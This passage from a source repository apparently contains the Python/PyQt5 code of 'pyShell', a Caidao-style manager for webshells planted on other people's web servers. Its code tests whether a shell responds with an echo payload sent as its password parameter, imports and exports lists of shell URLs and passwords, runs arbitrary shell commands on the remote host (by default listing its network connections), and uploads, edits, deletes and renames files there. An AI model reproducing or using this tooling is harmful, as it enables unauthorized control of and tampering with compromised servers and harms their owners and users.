1 55 | 56 | logging.basicConfig() 57 | logging.getLogger().setLevel(logging.DEBUG) 58 | requests_log = logging.getLogger("requests.packages.urllib3") 59 | requests_log.setLevel(logging.DEBUG) 60 | requests_log.propagate = True 61 | 62 | 63 | def debug_requests_off(): 64 | '''Switches off logging of the requests module, might be some side-effects''' 65 | HTTPConnection.debuglevel = 0 66 | 67 | root_logger = logging.getLogger() 68 | root_logger.setLevel(logging.WARNING) 69 | root_logger.handlers = [] 70 | requests_log = logging.getLogger("requests.packages.urllib3") 71 | requests_log.setLevel(logging.WARNING) 72 | requests_log.propagate = False 73 | 74 | 75 | @contextlib.contextmanager 76 | def debug_requests(): 77 | '''Use with 'with'!''' 78 | debug_requests_on() 79 | yield 80 | debug_requests_off() 81 | 82 | 83 | def generate_random(): 84 | return ''.join(random.choices(string.ascii_uppercase, k=16)) 85 | -------------------------------------------------------------------------------- /qqwry.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/potats0/pyShell/3616b88ad8c353bac3a04030957e0bc6db304a3f/qqwry.dat -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph==0.15 2 | certifi==2018.4.16 3 | chardet==3.0.4 4 | dnspython==1.15.0 5 | docopt==0.6.2 6 | et-xmlfile==1.0.1 7 | future==0.16.0 8 | idna==2.7 9 | jdcal==1.4 10 | macholib==1.9 11 | modulegraph==0.16 12 | odfpy==1.3.6 13 | openpyxl==2.5.4 14 | pefile==2017.11.5 15 | pycrypto==2.6.1 16 | PyInstaller==3.3.1 17 | PyQt5==5.10.1 18 | PyYAML==3.12 19 | qqwry-py3==1.0.8 20 | records==0.5.2 21 | requests==2.19.1 22 | sip==4.19.8 23 | SQLAlchemy==1.2.9 24 | tablib==0.12.1 25 | tinydb==3.9.0.post1 26 | unicodecsv==0.14.1 27 | urllib3==1.23 28 | xlrd==1.1.0 29 | xlwt==1.3.0 30 | -------------------------------------------------------------------------------- /shell.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/potats0/pyShell/3616b88ad8c353bac3a04030957e0bc6db304a3f/shell.db -------------------------------------------------------------------------------- /util.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # -*- coding: UTF-8 -*- 3 | import os 4 | import re 5 | import sys 6 | import time 7 | from urllib.parse import urlparse 8 | 9 | import dns.resolver 10 | import requests 11 | from PyQt5.QtCore import QRunnable, QObject, pyqtSignal, QThreadPool 12 | from PyQt5.QtWidgets import QMessageBox 13 | 14 | from model.db import db 15 | from model.shells.Caidao import cache 16 | 17 | 18 | def isip(domain): 19 | p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') 20 | if p.match(domain): 21 | return True 22 | else: 23 | return False 24 | 25 | 26 | @cache() 27 | def get_location_from_domain(domain): 28 | """ 29 | use httpdns to resolv domain 30 | :param domain: 域名 31 | :return: location 32 | """ 33 | domain = urlparse(domain).netloc 34 | if ":" in domain: 35 | domain = domain.split(":")[0] 36 | if isip(domain): 37 | ip = domain 38 | else: 39 | if "localhost" in domain: 40 | ip = "127.0.0.1" 41 | else: 42 | try: 43 | A = dns.resolver.query(domain, 'A') 44 | ip = A.response.answer[0][0].address 45 | except Exception: 46 | return "Not found Address" 47 | location = qqwry_search()(ip) 48 | return location 49 | 50 | 51 | def test_shell(url, passwd, type, row): 52 | forms = { 53 | passwd: "echo 12233333333;" 54 | } 55 | try: 56 | data = requests.post(url, data=forms, timeout=1) 57 | if "12233333333" in data.text: 58 | status = True 59 | else: 60 | status = False 61 | except Exception as e: 62 | print(sys.exc_info()) 63 | status = False 64 | finally: 65 | return status, row 66 | 67 | 68 | def try_catch(func): 69 | def b(*args, **kwargs): 70 | obj = args[0] 71 | try: 72 | func(*args, **kwargs) 73 | except Exception as e: 74 | obj.signal.result.emit(sys.exc_info()[0]) 75 | 76 | return b 77 | 78 | 79 | class WorkerSignals(QObject): 80 | result = pyqtSignal(object) 81 | 82 | 83 | class worker(QRunnable): 84 | def __init__(self, func, **kargs): 85 | super(worker, self).__init__() 86 | self.func = func 87 | self.kargs = kargs 88 | self.signal = WorkerSignals() 89 | 90 | @try_catch 91 | def run(self): 92 | self.signal.result.emit(self.func(**self.kargs)) 93 | 94 | 95 | def start_runnable(func, slot, **kwargs): 96 | w = worker(func, **kwargs) 97 | w.signal.result.connect(slot) 98 | pool = QThreadPool.globalInstance() 99 | pool.start(w) 100 | 101 | 102 | def iscomplete(func): 103 | def a(*args, **kwargs): 104 | if any(map(lambda x: isinstance(x, type), args)): 105 | QMessageBox.critical(args[0], 'pyshell', "操作未完成") 106 | else: 107 | func(*args, **kwargs) 108 | 109 | return a 110 | 111 | 112 | def isloaded(func): 113 | def b(*args, **kwargs): 114 | if hasattr(args[0], "linker"): 115 | func(*args[:1], **kwargs) 116 | else: 117 | print("not loaded,mat be network is slow") 118 | 119 | return b 120 | 121 | 122 | def load_from_file(filename: str, separator: str = '|') -> [int, int]: 123 | """从给定的文件中读取记录并插入数据库中 124 | filename:给定的文件名,绝对路径 125 | separator:每条记录的分隔符,由用户指定 126 | ignore:忽略单行错误,如果某一行出现错误,则跳过不处理。如果为false,则不继续导入,返回已经导入成功的数字和false 127 | 返回值 返回元祖,第一项为成功导入的数字,第二项为是否全部导入成功(Ture or False) 128 | 例如如果文件100行记录,导入100行全部成功,则返回100,True 129 | 如果成功导入90行,则返回90,False 130 | 131 | 例如 132 | http://www.qq.com/1.php|cmd 133 | 则separator为|,前面的为url,后面的为shell的链接密码,如果url没有以http://开头,则给添加上(默认http) 134 | if not url.startWith("http://): 135 | do something 136 | 137 | 插入数据库,调用model.db,首先实例化,然后调用insert函数 138 | 例: 139 | db = db() 140 | db.insert(records) 141 | insert()每个参数的含义(从左到右依次) 142 | types:shell的类型,大写字符串 PHP/ASP/ASPX/CUSTOMER 143 | shell:shell的地址(记得添加http://) 144 | passwd:shell的密码 145 | config:shell的配置,目前留空(空字符串) 146 | remark:shell的备注 147 | type_id:目前为"0" 148 | coding:shell的编码,默认utf-8 149 | createdtime:shell创建日期 字符串类型 time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) 150 | updatetime:shell更新日期,目前暂时和createdtime一致即可 151 | """ 152 | num, failed_num, shell_db, created_time = 0, 0, db(), time.strftime("%Y-%m-%d %H:%M:%S", 153 | time.localtime()) 154 | with open(filename, "r") as f: 155 | for num, line in enumerate(f, 1): 156 | shell = line.strip().split(separator) 157 | if not len(shell) == 2: 158 | failed_num += 1 159 | continue 160 | if not shell[0].startswith("http"): 161 | shell[0] = "http://" + shell[0] 162 | shell_type = re.findall("(.php|.aspx|.asp)", shell[0], re.I) # 识别并添加shell类型 163 | if len(shell_type): 164 | shell_type = shell_type[0].upper().replace('.', '') 165 | else: 166 | shell_type = "CUSTOMER" 167 | shell.insert(0, shell_type) 168 | shell.extend(['', '', 0, 'utf-8', created_time, created_time]) 169 | shell_db.insert(*shell) 170 | return num, num ^ failed_num 171 | 172 | 173 | def splitpath(path): 174 | def _get_bothseps(path): 175 | if isinstance(path, bytes): 176 | return b'\\/' 177 | else: 178 | return '\\/' 179 | 180 | path = os.fspath(path) 181 | seps = _get_bothseps(path) 182 | i = len(path) 183 | re = [] 184 | while i: 185 | i -= 1 186 | if path[i - 1] in seps: 187 | re.append(path[i:]) 188 | path = path[:i] 189 | re.reverse() 190 | return re 191 | 192 | 193 | class qqwry_search(object): 194 | """docstring for qqwry_search""" 195 | 196 | def __new__(cls, *args, **kwargs): 197 | if not hasattr(cls, "instance"): 198 | cls.instance = super(qqwry_search, cls).__new__(cls) 199 | return cls.instance 200 | 201 | def __init__(self): 202 | from qqwry import QQwry 203 | self.q = QQwry() 204 | self.q.load_file('qqwry.dat') 205 | 206 | def __call__(self, ip: str): 207 | return ' '.join(self.q.lookup(ip)) 208 | 209 | def __del__(self): 210 | self.q.clear() 211 | 212 | 213 | def export_shell_file(filename: str, separator: str = '|') -> [int]: 214 | num, shell_list = 0, db().getall() 215 | with open(filename, "w+") as f: 216 | for shell in shell_list: 217 | f.write(shell['shell'] + separator + shell['passwd'] + "\n") 218 | num = num + 1 219 | return num 220 | 221 | 222 | if __name__ == '__main__': 223 | # print(get_location_from_domain('http://www.xxx.com')) 224 | print(export_shell_file("C:\\Users\\12937\\Desktop\\a.txt", "|||||")) 225 | -------------------------------------------------------------------------------- /view/__init__.py: -------------------------------------------------------------------------------- 1 | from .main_view import main_view 2 | -------------------------------------------------------------------------------- /view/add_shell_view.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # -*- coding: UTF-8 -*- 3 | 4 | from PyQt5 import uic 5 | from PyQt5.QtCore import pyqtSignal 6 | from PyQt5.QtGui import QIcon 7 | from PyQt5.QtWidgets import QDialog, QLineEdit 8 | 9 | 10 | # TODO 目前只实现添加,暂未实现修改功能 11 | class add_shell_ui_ctrl(QDialog): 12 | insert = pyqtSignal(str, str, str, str, str, str, str) # 添加 13 | update = pyqtSignal(str, str, str, str, str, str, str, str) # 修改 14 | 15 | # siteurl #URL 16 | # sitepass #密码 17 | # config #配置 18 | # remarks 备注 19 | # type_id #类别 20 | # script #脚本类型 asp php 21 | # coding #编码方式 22 | 23 | def __init__(self): 24 | super(add_shell_ui_ctrl, self).__init__() 25 | self.ui = uic.loadUi("view/ui/add_shell_ui.ui", self) 26 | self.setWindowIcon(QIcon("system/main.ico")) 27 | self.setFixedSize(self.width(), self.height()) 28 | self.set_data() 29 | 30 | def set_data(self): 31 | self.setWindowTitle("添加数据") 32 | self.ui.script.addItem(QIcon('system/script.ico'), "脚本类型") 33 | self.ui.script.addItem(QIcon('system/php.ico'), "PHP") 34 | self.ui.script.addItem(QIcon('system/asp.ico'), "ASP") 35 | self.ui.script.addItem(QIcon('system/aspx.ico'), "ASPX") 36 | self.ui.script.addItem("Customize") 37 | self.ui.coding.addItem(QIcon('system/coding.ico'), "字符编码") 38 | self.ui.coding.addItem("UTF-8") 39 | self.ui.coding.addItem("GB2312") 40 | self.ui.coding.addItem("BIG5") 41 | self.ui.coding.addItem("Euc-KR") 42 | self.ui.coding.addItem("Euc-JP") 43 | self.ui.coding.addItem("Shift_JIS") 44 | self.ui.coding.addItem("Windows-1251") 45 | self.ui.coding.addItem("Windows-874") 46 | self.ui.coding.addItem("ISO-8859-1") 47 | self.ui.coding.setCurrentIndex(1) 48 | self.ui.sitepass.setEchoMode(QLineEdit.Normal) 49 | self.ui.pass_checkBox.setChecked(True) 50 | self.ui.pushButton.clicked.connect(self.add_button) 51 | self.ui.siteurl.textChanged.connect(self.get_ext_from_url) 52 | self.ui.pass_checkBox.clicked.connect(self.pass_click) 53 | 54 | def get_ext_from_url(self): 55 | site_url = self.ui.siteurl.toPlainText() # URL 56 | site_url = site_url.upper() 57 | if ".PHP" in site_url: 58 | self.ui.script.setCurrentIndex(1) # php 59 | elif ".ASP" in site_url: 60 | self.ui.script.setCurrentIndex(2) # .ASP 61 | elif "ASPX" in site_url: 62 | self.ui.script.setCurrentIndex(3) # ASPX 63 | else: 64 | self.ui.script.setCurrentIndex(0) 65 | 66 | def add_button(self): 67 | site_url = self.ui.siteurl.toPlainText().strip() # URL 68 | if not site_url.startswith("http://"): 69 | site_url = "http://" + site_url 70 | site_pass = self.ui.sitepass.text().strip() # 密码 71 | config = self.ui.config.toPlainText().strip() # 配置 72 | remarks = self.ui.remarks.toPlainText().strip() 73 | type_id = str(self.ui.type_id.currentIndex()) 74 | script_type = self.ui.script.currentText().strip() 75 | coding_type = self.coding.currentText().strip() 76 | self.insert.emit(site_url, site_pass, config, remarks, type_id, script_type, coding_type) 77 | self.close() 78 | 79 | def pass_click(self): 80 | if self.pass_checkBox.isChecked(): # 选中 81 | self.ui.sitepass.setEchoMode(QLineEdit.Normal) 82 | else: 83 | self.ui.sitepass.setEchoMode(QLineEdit.Password) 84 | -------------------------------------------------------------------------------- /view/cmd_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | 5 | # Authors: img 6 | # Date: 2018-06-21 7 | 8 | __author__ = "img" 9 | __date__ = '2018/6/21' 10 | 11 | from PyQt5 import uic 12 | from PyQt5.QtCore import QEvent 13 | from PyQt5.QtWidgets import QWidget, QApplication 14 | 15 | from model.db import db 16 | from model.shells import Caidao 17 | from util import start_runnable, iscomplete, isloaded 18 | 19 | 20 | class cmd_ui(QWidget): 21 | """ 22 | # TODO 添加cd功能,测试在windows下的行为 23 | """ 24 | 25 | def __init__(self, id: int, parent): 26 | super(cmd_ui, self).__init__(parent) 27 | self.main_ui = parent 28 | self.ui = uic.loadUi("view/ui/ShowcmdManage.ui", self) # 动态加标签 29 | self.ui.parameter_0.setMouseTracking(False) 30 | self.ui.parameter_0.setAcceptDrops(False) 31 | self.ui.parameter_0.setEditable(True) 32 | self.ui.parameter_0.setMaxVisibleItems(15) # 设置下拉最大选项数为15 33 | self.ui.parameter_0.installEventFilter(self) # 在窗体上为self.edit安装过滤器 34 | self.ui.pushButton.clicked.connect(self.execute_cmd) # shell命令 35 | self.ui.cmd_shell_TextEdit.setStyleSheet("color:rgb(245,245,245)") # 文本颜色 36 | self.ui.cmd_shell_TextEdit.setStyleSheet("background-color:rgb(192,192,192)") # 背景色 37 | self.ui.cmd_shell_TextEdit.setReadOnly(True) 38 | self.main_ui.tabWidget.addTab(self, "cmd") 39 | self.main_ui.tabWidget.setCurrentWidget(self) 40 | self.db = db() 41 | record = self.db.get(id) 42 | self.siteurl = record.shell 43 | self.sitepass = record.passwd 44 | self.get_metadata_from_server() 45 | 46 | def get_metadata_from_server(self): 47 | def start(): 48 | return Caidao.Caidao(self.siteurl, self.sitepass) 49 | 50 | def getresult(obj): 51 | self.linker = obj 52 | self.ui.parameter_1.setText("/bin/sh") 53 | self.ui.parameter_2.setText("netstat -an | grep ESTABLISHED") # 设置当前内容 54 | self.ui.parameter_0.addItem("netstat -an | grep ESTABLISHED") # 添加到下拉列表 55 | self.execute_cmd() 56 | 57 | start_runnable(start, getresult) 58 | 59 | def eventFilter(self, source, event): # 事件监听 60 | if event.type() == QEvent.KeyPress and event.key() == 16777220: # 检测键盘事件 61 | QApplication.processEvents() 62 | self.execute_cmd() # 执行事件 63 | return QWidget.eventFilter(self, source, event) # 将事件交给上层对话框 64 | 65 | @iscomplete 66 | def display_info_to_panel(self, data, command=False): 67 | if not command: 68 | self.ui.cmd_shell_TextEdit.appendPlainText(data) 69 | self.main_ui.statusBar.showMessage("successed to execute command", 5000) 70 | data = "" 71 | self.ui.cmd_shell_TextEdit.appendPlainText(self.ui.linker.current_folder + "> " + data) 72 | 73 | @isloaded 74 | def execute_cmd(self): # shell命令 75 | command = self.ui.parameter_0.currentText().strip() 76 | self.display_info_to_panel(command, command=True) 77 | if not command: 78 | return 79 | self.ui.parameter_2.setText(command) 80 | self.ui.parameter_0.addItem(command) 81 | self.ui.parameter_0.setCurrentText("") 82 | start_runnable(self.ui.linker.exec_command, self.display_info_to_panel, cmd=command) 83 | -------------------------------------------------------------------------------- /view/edit_file_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-07-03 6 | from PyQt5 import uic 7 | from PyQt5.QtWidgets import QWidget, QMessageBox 8 | 9 | from util import start_runnable 10 | 11 | __author__ = "img" 12 | __date__ = '2018/7/3' 13 | 14 | 15 | class edit_file(QWidget): 16 | def __init__(self, linker, remote_file, parent): 17 | super(edit_file, self).__init__(parent) 18 | self.main_ui = parent # 主程序UI 19 | self.ui = uic.loadUi("view/ui/Edit_file.ui", self) 20 | self.main_ui.tabWidget.addTab(self, "Edit file") 21 | self.main_ui.tabWidget.setCurrentWidget(self) 22 | self.linker, self.remote_file = linker, remote_file 23 | 24 | # set slot 25 | self.ui.load_Button.clicked.connect(self.load_file) 26 | self.ui.save_Button.clicked.connect(self.save_file) 27 | 28 | self.dis_file_to_panel() 29 | 30 | def dis_file_to_panel(self): 31 | self.ui.name_lineEdit.setText(self.remote_file) 32 | start_runnable(self.linker.read_file, self.display, item=self.remote_file) 33 | 34 | def display(self, data): 35 | if isinstance(data, type): 36 | QMessageBox.critical(self, 'pyshell', "unable to read..") 37 | return 38 | self.main_ui.statusBar.showMessage("loaded file success", 2000) 39 | self.ui.data_textEdit.setPlainText(data) 40 | 41 | def load_file(self): 42 | self.remote_file = self.ui.name_lineEdit.text().strip() 43 | self.dis_file_to_panel() 44 | 45 | def save_file(self): 46 | content = self.ui.data_textEdit.toPlainText() 47 | filename = self.ui.name_lineEdit.text().strip() 48 | start_runnable(self.linker.save_file, lambda x: x, filename=filename, content=content) 49 | self.main_ui.statusBar.showMessage("saved file success", 2000) 50 | -------------------------------------------------------------------------------- /view/export_shell_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-07-17 6 | 7 | 8 | __author__ = "img" 9 | __date__ = '2018/7/17' 10 | 11 | from PyQt5 import uic 12 | from PyQt5.QtWidgets import QDialog, QFileDialog, QMessageBox 13 | from util import start_runnable, export_shell_file 14 | 15 | 16 | class export_shell_ui(QDialog): 17 | def __init__(self, parent): 18 | super(export_shell_ui, self).__init__(parent) 19 | self.ui = uic.loadUi("view/ui/export_shell.ui", self) 20 | self.main = parent 21 | self.ui.pushButton.clicked.connect(self.open_filedialog) 22 | self.ui.pushButton_2.clicked.connect(self.export_shell) 23 | 24 | def open_filedialog(self): 25 | options = QFileDialog.Options() 26 | options |= QFileDialog.DontUseNativeDialog 27 | fileName, _ = QFileDialog.getSaveFileName(self, "QFileDialog.getOpenFileName()", "", 28 | "All Files (*);;Python Files (*.py)", options=options) 29 | if fileName: 30 | self.filename = fileName 31 | self.ui.lineEdit.setText(fileName) 32 | 33 | def export_shell(self): 34 | def result(num): 35 | QMessageBox.critical(self, 'pyshell', "导出%s条" % (num)) 36 | 37 | separator = self.ui.lineEdit_2.text() 38 | start_runnable(export_shell_file, result, filename=self.filename, separator=separator) 39 | -------------------------------------------------------------------------------- /view/file_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-06-25 6 | 7 | import util 8 | 9 | __author__ = "img" 10 | __date__ = '2018/6/25' 11 | 12 | import os 13 | 14 | from PyQt5 import uic 15 | from PyQt5.QtCore import Qt, QEvent 16 | from PyQt5.QtWidgets import QWidget, QTableWidget, QAction, QTableWidgetItem, QMenu, QFileDialog, QTreeWidgetItem, \ 17 | QInputDialog, QLineEdit 18 | from collections import OrderedDict 19 | 20 | from model.db import db 21 | from model.shells import Caidao 22 | from util import start_runnable, iscomplete, isloaded 23 | from view.edit_file_ui import edit_file 24 | 25 | 26 | class file_ui(QWidget): 27 | def __init__(self, id, parent): 28 | super(file_ui, self).__init__(parent) 29 | self.main = parent 30 | self.ui = uic.loadUi("view/ui/ShowFileManage.ui", self) # 动态加标签 31 | self.ui.ComPath.setMouseTracking(False) 32 | self.ui.ComPath.setAcceptDrops(False) 33 | self.ui.ComPath.setEditable(True) 34 | self.ui.ComPath.setMaxVisibleItems(15) # 设置下拉最大选项数为15 35 | self.ui.ComPath.installEventFilter(self) # 在窗体上为self.edit安装过滤器 36 | self.ui.file_treeWidget.setColumnCount(1) 37 | self.ui.file_treeWidget.setHeaderLabels(["文件管理"]) 38 | self.ui.file_treeWidget.setColumnWidth(0, 700) # 设置列宽 39 | self.ui.file_tableWidget.setColumnCount(5) # 列 40 | self.ui.file_tableWidget.setRowCount(0) # 行 len(node) 41 | self.ui.file_tableWidget.setHorizontalHeaderLabels(['is_dir', '名称', '时间', '大小', '属性']) 42 | self.ui.file_tableWidget.setColumnWidth(0, 0) # 设置表格的各列的宽度值 43 | self.ui.file_tableWidget.setColumnWidth(1, 320) # 设置表格的各列的宽度值 44 | self.ui.file_tableWidget.setColumnWidth(2, 170) # 设置表格的各列的宽度值 45 | self.ui.file_tableWidget.setColumnWidth(3, 100) # 设置表格的各列的宽度值 46 | self.ui.file_tableWidget.setColumnWidth(4, 160) # 设置表格的各列的宽度值 47 | self.ui.file_tableWidget.setEditTriggers(QTableWidget.NoEditTriggers) # 设置表格的单元为只读属性,即不能编辑 48 | self.ui.file_tableWidget.setSelectionBehavior(QTableWidget.SelectRows) # 点击选择是选择行//设置选中时为整行选中 49 | self.ui.file_tableWidget.setSelectionMode(QTableWidget.SingleSelection) # 禁止多行选择 50 | self.ui.file_tableWidget.setAlternatingRowColors(True) # 还是只可以选择单行(单列) 51 | self.ui.file_tableWidget.verticalHeader().hide() # 隐藏行头 52 | self.ui.file_tableWidget.setAlternatingRowColors(True) # 隔行换色 53 | self.setAcceptDrops(True) 54 | self.main.tabWidget.addTab(self, "File_Manager") 55 | self.main.tabWidget.setCurrentWidget(self) 56 | self.db = db() 57 | record = self.db.get(id) 58 | self.siteurl = record.shell 59 | self.sitepass = record.passwd 60 | self.get_baseinfo_from_server() 61 | self.ui.file_tableWidget.setContextMenuPolicy(Qt.CustomContextMenu) 62 | self.ui.setContextMenuPolicy(Qt.CustomContextMenu) 63 | self.ui.file_tableWidget.customContextMenuRequested.connect(self.file_tableWidget_menu) 64 | self.ui.file_tableWidget.cellDoubleClicked.connect(self.tabledoubleclicked) 65 | self.ui.file_treeWidget.itemClicked.connect(self.treeclicked) 66 | self.my = {} 67 | # self.file_tableWidget.dragEnterEvent.connect(self.dragEnterEventxxx) #拖拽接收文件 68 | self.ui.look_Button.clicked.connect( 69 | lambda: self.get_item_form_folder(self.ui.ComPath.currentText().strip())) 70 | 71 | def get_baseinfo_from_server(self): # 类初始化线程 72 | @iscomplete 73 | def setresult(window, obj): 74 | self.linker = obj 75 | self.current_folder = self.linker.current_folder 76 | self.get_item_form_folder(self.current_folder) 77 | 78 | def loadcaidao(): 79 | return Caidao.Caidao(self.siteurl, self.sitepass) 80 | 81 | start_runnable(loadcaidao, lambda x: setresult(self, x)) 82 | 83 | # TODO 写这个树型文件 84 | def build_tree(self, data, folder): 85 | self.ui.file_treeWidget.clear() 86 | 87 | def insert(l: dict, p: list): 88 | if p[1:] == p[:-1]: 89 | return 90 | for i in p: 91 | if i not in l: 92 | l.update({i: {}}) 93 | x = OrderedDict(sorted(l.get(i).items())) 94 | l[i] = x 95 | l = x 96 | 97 | def inner_build(l, parent=None): 98 | if not l: 99 | return 100 | for i in l.keys(): 101 | if not parent: 102 | self.root = QTreeWidgetItem(self.ui.file_treeWidget) 103 | p = self.root 104 | else: 105 | child1 = QTreeWidgetItem(parent) 106 | p = child1 107 | p.setText(0, i) 108 | if l.get(i): 109 | inner_build(l.get(i), p) 110 | self.ui.file_treeWidget.addTopLevelItem(self.root) 111 | self.ui.file_treeWidget.setColumnWidth(0, 160) 112 | self.ui.file_treeWidget.expandAll() 113 | 114 | path_list = util.splitpath(folder + self.linker.separator) 115 | insert(self.my, path_list) 116 | for i in data: 117 | if i.is_dir is "T": 118 | if not "." in i.name or not "." in i.name: 119 | folder = i.name.replace("//", "/") 120 | insert(self.my, util.splitpath(folder + self.linker.separator)) 121 | inner_build(self.my, None) 122 | 123 | def normalize_name(self, string: str, is_dir): 124 | _, file_name = os.path.split(string) 125 | if is_dir is "T": 126 | file_name += self.linker.separator 127 | return file_name 128 | 129 | def normalize_perm(self, string): 130 | num_to_str = { 131 | "7": "|rwx", 132 | "6": "|rw-", 133 | "5": "|r-x", 134 | "4": "|r--", 135 | "3": "|-wx", 136 | "2": "|-w-", 137 | "1": "|--x", 138 | "0": "|---", 139 | } 140 | result = "s" if int(string[0]) else "-" 141 | return result + "".join(list((num_to_str.get(x) for x in string if int(x)))) 142 | 143 | @iscomplete 144 | def add_item_to_filetable(self, data, folder): 145 | folder = folder.replace(".." + self.linker.separator, "").replace("." + self.linker.separator, "").replace( 146 | self.linker.separator * 2, self.linker.separator) 147 | self.current_folder = folder 148 | self.build_tree(data, folder) 149 | self.ui.ComPath.setCurrentText(folder) 150 | self.ui.ComPath.addItem(folder) 151 | self.ui.file_tableWidget.setRowCount(0) 152 | self.ui.file_tableWidget.clearContents() 153 | for i in data: 154 | row = self.ui.file_tableWidget.rowCount() 155 | self.file_tableWidget.insertRow(row) 156 | self.file_tableWidget.setItem(row, 0, QTableWidgetItem(i.is_dir)) 157 | self.file_tableWidget.setItem(row, 1, QTableWidgetItem(self.normalize_name(i.name, i.is_dir))) 158 | self.file_tableWidget.setItem(row, 2, QTableWidgetItem(i.st_mtime)) 159 | self.file_tableWidget.setItem(row, 3, QTableWidgetItem(i.size)) 160 | self.file_tableWidget.setItem(row, 4, QTableWidgetItem(self.normalize_perm(i.permission))) 161 | 162 | def eventFilter(self, source, event): # 事件监听 163 | if event.type() == QEvent.KeyPress and event.key() == 16777220: # 检测键盘事件 164 | self.get_item_form_folder(self.ui.ComPath.currentText().strip()) # 执行事件 165 | return QWidget.eventFilter(self, source, event) # 将事件交给上层对话框 166 | 167 | def get_item_form_folder(self, folder, flush=False): 168 | if flush: 169 | start_runnable(self.linker.get_folder_list, lambda x: self.add_item_to_filetable(x, folder), folder=folder, 170 | flush=True) 171 | else: 172 | start_runnable(self.linker.get_folder_list, lambda x: self.add_item_to_filetable(x, folder), folder=folder, 173 | flush=False) 174 | 175 | def file_tableWidget_menu(self, p): 176 | self.popMenu = QMenu() 177 | action = QAction('刷新', self) 178 | action.triggered.connect(self.refresh) 179 | self.popMenu.addAction(action) 180 | self.popMenu.addSeparator() 181 | action = QAction('上传文件', self) 182 | action.triggered.connect(self.upload_file) 183 | self.popMenu.addAction(action) 184 | action = QAction(u'下载文件', self) 185 | action.triggered.connect(lambda: self.ShowFileManage_data.file_Download_shell_Thread()) 186 | self.popMenu.addAction(action) 187 | self.popMenu.addSeparator() 188 | filename = self.get_filename_from_tablewig() 189 | if filename and not filename.endswith(self.linker.separator): 190 | action = QAction('编辑', self) 191 | action.triggered.connect(self.open_file) 192 | self.popMenu.addAction(action) 193 | action = QAction('删除', self) 194 | action.triggered.connect(self.delete_file) 195 | self.popMenu.addAction(action) 196 | action = QAction('重命名', self) 197 | action.triggered.connect(self.rename_file) 198 | self.popMenu.addAction(action) 199 | # TODO 搞清楚复制粘贴的逻辑 200 | # action = QAction('复制', self) 201 | # action.triggered.connect(lambda: self.ShowFileManage_data.file_copy_shell()) 202 | # self.popMenu.addAction(action) 203 | # action = QAction('粘贴', self) 204 | # action.triggered.connect(lambda: self.ShowFileManage_data.file_paste_shell_Thread()) 205 | # self.popMenu.addAction(action) 206 | self.popMenu.addSeparator() 207 | action = QAction('修改文件(夹)时间', self) 208 | action.triggered.connect(self.modifyed_time) 209 | self.popMenu.addAction(action) 210 | self.name = self.popMenu.addMenu('新建') 211 | action = QAction('文件夹', self) 212 | action.triggered.connect(self.new_folder) 213 | self.name.addAction(action) 214 | action = QAction('文件', self) 215 | action.triggered.connect(self.new_file) 216 | self.name.addAction(action) 217 | self.ui.popMenu.exec_(self.file_tableWidget.mapToGlobal(p)) 218 | 219 | def tabledoubleclicked(self, x, y): 220 | folder_name: str = self.ui.ComPath.currentText().strip() + self.linker.separator + self.ui.file_tableWidget.item( 221 | x, 222 | 1).text() 223 | 224 | if folder_name.endswith(self.linker.separator): 225 | # 以文件分割符结尾,当然是文件架啦,所以调用获取文件夹内容 226 | self.get_item_form_folder(folder_name) 227 | else: 228 | self.open_file() 229 | 230 | @isloaded 231 | def refresh(self): 232 | self.linker.get_folder_list(self.current_folder, True) 233 | 234 | @isloaded 235 | def upload_file(self): 236 | @iscomplete 237 | def setresult(result): 238 | self.refresh() 239 | 240 | options = QFileDialog.Options() 241 | options |= QFileDialog.DontUseNativeDialog 242 | fileName, _ = QFileDialog.getOpenFileName(self, "QFileDialog.getOpenFileName()", "", 243 | "All Files (*);;Python Files (*.py)", options=options) 244 | if fileName: 245 | _, remote_fileName = os.path.split(fileName) 246 | start_runnable(self.linker.upload_file, setresult, remote_file=remote_fileName, local_file=fileName) 247 | 248 | @isloaded 249 | def open_file(self): 250 | filename = self.get_filename_from_tablewig() 251 | edit_file(self.linker, filename, self.main) 252 | 253 | @isloaded 254 | def delete_file(self): 255 | @iscomplete 256 | def setresult(result): 257 | self.refresh() 258 | 259 | filename = self.get_filename_from_tablewig() 260 | start_runnable(self.linker.delete_file, setresult, remote_path=filename) 261 | 262 | @isloaded 263 | def rename_file(self): 264 | @iscomplete 265 | def setresult(result): 266 | self.refresh() 267 | 268 | old = self.get_filename_from_tablewig() 269 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new name:", QLineEdit.Normal, " ") 270 | if okPressed and text.strip(): 271 | new = self.ui.ComPath.currentText().strip() + self.linker.separator + text 272 | start_runnable(self.linker.rename, setresult, src=old, dst=new) 273 | 274 | def get_filename_from_tablewig(self): 275 | row = self.ui.file_tableWidget.selectionModel().currentIndex().row() 276 | try: 277 | filename: str = self.ui.ComPath.currentText().strip() + self.linker.separator + self.ui.file_tableWidget.item( 278 | row, 1).text() 279 | except AttributeError: 280 | filename = None 281 | return filename 282 | 283 | # TODO 未来的任务 284 | def modifyed_time(self): 285 | filename = self.get_filename_from_tablewig() 286 | 287 | @isloaded 288 | def new_folder(self): 289 | @iscomplete 290 | def setresult(result): 291 | self.refresh() 292 | 293 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new folder name:", QLineEdit.Normal, " ") 294 | if okPressed and text.strip(): 295 | folder = self.ui.ComPath.currentText().strip() + self.linker.separator + text 296 | start_runnable(self.linker.new_folder, setresult, folder_name=folder) 297 | 298 | @isloaded 299 | def new_file(self): 300 | 